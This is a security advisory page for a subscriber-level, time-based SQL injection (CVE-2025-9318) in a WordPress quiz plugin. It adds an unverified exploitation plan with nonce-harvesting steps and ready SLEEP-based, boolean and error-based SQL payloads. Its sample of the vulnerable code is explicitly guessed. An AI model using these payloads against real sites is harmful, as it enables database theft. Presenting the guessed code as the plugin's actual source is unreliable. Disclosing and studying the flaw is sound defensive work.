CVE-2025-9318

Quiz and Survey Master (QSM) <= 10.3.1 - Authenticated (Subscriber+) SQL Injection via `is_linking` Query Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
10.3.2
Patched in
1d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based SQL Injection via the ‘is_linking’ parameter in all versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=10.3.1
PublishedJanuary 5, 2026
Last updatedJanuary 6, 2026
Affected pluginquiz-master-next

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps to research and exploit **CVE-2025-9318**, a time-based SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress. ### 1. Vulnerability Summary The Quiz and Survey Master (QSM) plugin (versions <= 10.3.1) is vulnerable to a time-based SQL inje…

Show full research plan

This plan outlines the steps to research and exploit CVE-2025-9318, a time-based SQL injection vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress.

1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin (versions <= 10.3.1) is vulnerable to a time-based SQL injection via the is_linking parameter. The vulnerability occurs because the plugin fails to properly sanitize or prepare SQL queries when processing this parameter, which is typically used in logic related to linking quizzes or surveys. Since the injection is time-based, an attacker can extract data by measuring the time the server takes to respond to malicious SQL queries containing SLEEP() or heavy computational functions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: To be determined via research, but likely qsm_get_quiz_list or an action related to survey/result linking (look for wp_ajax_qsm_... or wp_ajax_mlw_...).
  • Vulnerable Parameter: is_linking (sent via GET or POST).
  • Authentication: Subscriber-level (or higher) authentication is required.
  • Preconditions: A valid nonce for the specific AJAX action is required.

3. Code Flow

  1. Entry Point: An authenticated user sends a request to admin-ajax.php with an action registered by the QSM plugin.
  2. Hook Registration: The plugin registers AJAX handlers in php/classes/class-qsm-ajax.php (or similar) using add_action( 'wp_ajax_...', ... ).
  3. Handler Execution: The handler function (e.g., qsm_get_linking_data) retrieves the is_linking parameter from $_REQUEST['is_linking'].
  4. Vulnerable Sink: The parameter is interpolated directly into a SQL string:
    $is_linking = $_REQUEST['is_linking'];
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_quizzes WHERE is_linking = $is_linking");
    
  5. Lack of Preparation: The query is executed via $wpdb->get_results() or $wpdb->query() without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

QSM typically localizes nonces for its AJAX actions.

  1. Identify Action: Search the codebase for is_linking.
    • grep -rn "is_linking" /var/www/html/wp-content/plugins/quiz-master-next/
  2. Locate Nonce Registration: Find the wp_localize_script call associated with the script that handles this AJAX action.
    • Look for keys like qsm_ajax_object or mlw_ajax_object.
  3. Trigger Script Loading:
    • QSM scripts usually load on pages where a quiz shortcode is present.
    • Create a test quiz and a page containing its shortcode: [quiz-master-next-quiz id="1"].
  4. Extract Nonce:
    • Navigate to the page using browser_navigate.
    • Use browser_eval to extract the nonce: browser_eval("window.qsm_ajax_object?.nonce").

5. Exploitation Strategy

The exploitation will use a time-based blind SQL injection.

Step 1: Baseline Measurement
Send a normal request to establish the baseline response time.

  • Action: (Found in Step 2)
  • Parameter: is_linking=1

Step 2: Verification of Vulnerability (Time-Delay)
Send a request designed to trigger a 5-second delay.

  • Payload: is_linking=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Request Type: POST to /wp-admin/admin-ajax.php
  • Body: action=[ACTION]&nonce=[NONCE]&is_linking=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Example: Database Version)
Extract the first character of the database version.

  • Payload: is_linking=1 AND (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0))
  • Logic: If the response takes > 5 seconds, the first character of the version is '8'.

6. Test Data Setup

  1. Install Plugin: Ensure QSM 10.3.1 is active.
  2. Create User: Create a subscriber:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Create Quiz: Create at least one quiz so that the linking logic has data to query:
    • wp qsm create_quiz --name="Security Test" (Note: Use the plugin's UI or specific CLI if available to ensure tables are populated).
  4. Create Page: Place a quiz shortcode on a page to expose the nonce:
    • wp post create --post_type=page --post_title="Quiz Page" --post_content='[quiz-master-next-quiz id="1"]' --post_status=publish

7. Expected Results

  • Vulnerable Response: A request with the SLEEP(5) payload will result in a server response time of approximately 5 seconds or more.
  • Standard Response: A request with a normal is_linking value or a false condition (e.g., AND 1=2) will return immediately.

8. Verification Steps

After executing the exploit via HTTP:

  1. Check the WordPress wp_options table to verify the database version manually for comparison:
    • wp db query "SELECT VERSION();"
  2. Review the plugin's database tables to ensure the query targeted a real table:
    • wp db query "SHOW TABLES LIKE '%mlw%';"

9. Alternative Approaches

  • Boolean-Based Blind: If the AJAX response differs based on whether the query returns results (e.g., an empty array [] vs a populated one), use boolean-based injection. It is much faster than time-based.
    • is_linking=1 AND 1=1 (True)
    • is_linking=1 AND 1=2 (False)
  • Error-Based: If WP_DEBUG is enabled, try inducing a database error using EXTRACTVALUE() or UPDATEXML() to leak data directly in the response.
    • is_linking=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT VERSION()),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.